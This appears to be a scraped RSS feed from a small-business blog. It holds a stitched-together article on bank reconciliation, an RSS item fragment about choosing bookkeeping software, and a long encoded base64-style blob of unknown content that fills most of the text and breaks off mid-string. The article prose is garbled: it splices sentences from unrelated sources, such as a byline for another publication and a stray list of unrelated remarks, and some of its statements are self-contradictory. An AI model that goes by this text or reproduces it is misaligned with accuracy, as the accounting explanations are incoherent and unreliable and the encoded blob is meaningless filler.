<p>Bank reconciliation is easier to do if you have proper, organized bookkeeping or accounting procedures and a business account with DIY accounting to categorize your expenses and track any pending business transactions. If you’ve never done bank statement reconciliation before, you might feel nervous or intimidated by the process. Kindra Cooper covers small business terms and topics for The Balance, ranging from business finance to entrepreneurship.</p>
<ul>
<li>Read our editorial process to learn more about how we fact-check and keep our content accurate, reliable, and trustworthy.</li>
<li>Basic Financial Statements, including notes to financial statements.</li>
<li>He is the sole author of all the materials on AccountingCoach.com.</li>
<li>This financial information is necessary to satisfy the requirements outlined in State Finance Law and in accordance with GAAP.</li>
<li>Match the deposits in the business records with those in the bank statement.</li>
</ul>
<p>After receiving the bank statement, therefore, the company prepares a bank reconciliation, which identifies each difference between the company&#8217;s records and the bank&#8217;s records. The normal differences identified in a bank reconciliation will be discussed separately. A bank reconciliation begins by showing the bank statement&#8217;s ending balance and the company&#8217;s balance in the cash account on the same date. If canceled checks (a company&#8217;s checks processed and paid by the bank) are returned with the bank statement, compare them to the statement to be sure both amounts agree.</p>
<h2 id="toc-2">COMPARE THE BALANCES</h2>
<p>If an unidentified withdrawal (e.g. bank debit) is posted to an agency&#8217;s account, then the reconciler should immediately contact the bank to ascertain the reason for the unidentified charge. Where appropriate, bank personnel should reverse the bank charge or an adjusting entry should be made to the agency&#8217;s accounting records. Reversals by bank personnel must be confirmed to the following month’s bank statement. Similarly, agency deposits not shown on the monthly bank statement must be investigated and a determination made that the deposit was posted to the account in the month immediately following the reconciliation period.</p>
<p>However, no financial activity reports do not require a formal Schedule 22 to be submitted. Governments who file a no activity report will be required to submit supporting documents to confirm no activity, such as meeting minutes, county reports and/or bank statements. When a company maintains more than one checking account, it must reconcile each account separately with the balance on the bank statement for that account. The depositor should also check carefully to see that the bank did not combine the transactions of the two accounts.</p>
<h2 id="toc-3">Accounting CH 7</h2>
<p>Outstanding checks are those that have been written and recorded in cash account of the business but have not yet cleared the bank account. This often happens when the checks are written in the last few days of the month. Even after accounting for outstanding checks, it’s <a href="https://kelleysbookkeeping.com/">https://kelleysbookkeeping.com/</a> possible  for your bank and  book balance to still not be in sync. This means the bank has made an adjustment to your balance that has not yet been recorded in your general ledger (G/L). Bank reconciliations are typically done each month once bank statements are received.</p>
<div itemScope itemProp="mainEntity" itemType="https://schema.org/Question">
<div itemProp="name">
<h3>What are deposits in transit in a bank reconciliation quizlet?</h3>
</div>
<div itemScope itemProp="acceptedAnswer" itemType="https://schema.org/Answer">
<div itemProp="text">
<p>The deposits in transit are added to the balance per the bank statement, and outstanding checks are deducted from the balance per the bank statement during the bank reconciliation process. A company&apos;s monthly bank statement shows a collection of a note receivable by the bank in the amount of &#x24;500.</p>
</div></div>
</div>
<p>When done regularly, bank reconciliation can help identify issues with receivables — for example, unpaid invoices — and allow a company to take corrective action. Above and Prescribed option includes all the accounts, including the accounts in which other codes are rolled up into for category presentation. These above prescribed codes are not valid for reporting, however they provide detailed information on the category of the codes. This listing also provides the Prescribed accounts, which are the required accounts for annual report filing. The interest revenue must be journalized and posted to the general ledger cash account. In the journal entry below, cash is debited for $18 and interest revenue is credited for $18.</p>
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<p>The post <a rel="nofollow" href="https://diyatrends.my/how-to-do-bank-reconciliation-for-your-business/">How To Do Bank Reconciliation for Your Business</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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		<title>Choosing Bookkeeping Software for Your Small Business</title>
		<link>https://diyatrends.my/choosing-bookkeeping-software-for-your-small/</link>
					<comments>https://diyatrends.my/choosing-bookkeeping-software-for-your-small/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Tue, 01 Dec 2020 16:49:20 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=18974</guid>

					<description><![CDATA[<p>Content Who Can Benefit from Using Accounting and Bookkeeping Software? How to Do Bookkeeping for Small Businesses (2023 Guide) Tips</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/choosing-bookkeeping-software-for-your-small/">Choosing Bookkeeping Software for Your Small Business</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">Who Can Benefit from Using Accounting and Bookkeeping Software?</a></li>
<li><a href="#toc-1">How to Do Bookkeeping for Small Businesses (2023 Guide)</a></li>
<li><a href="#toc-2">Tips to Small-Business Bookkeeping and Accounting</a></li>
<li><a href="#toc-5">QuickBooks Self-Employed</a></li>
</ul>
</div>
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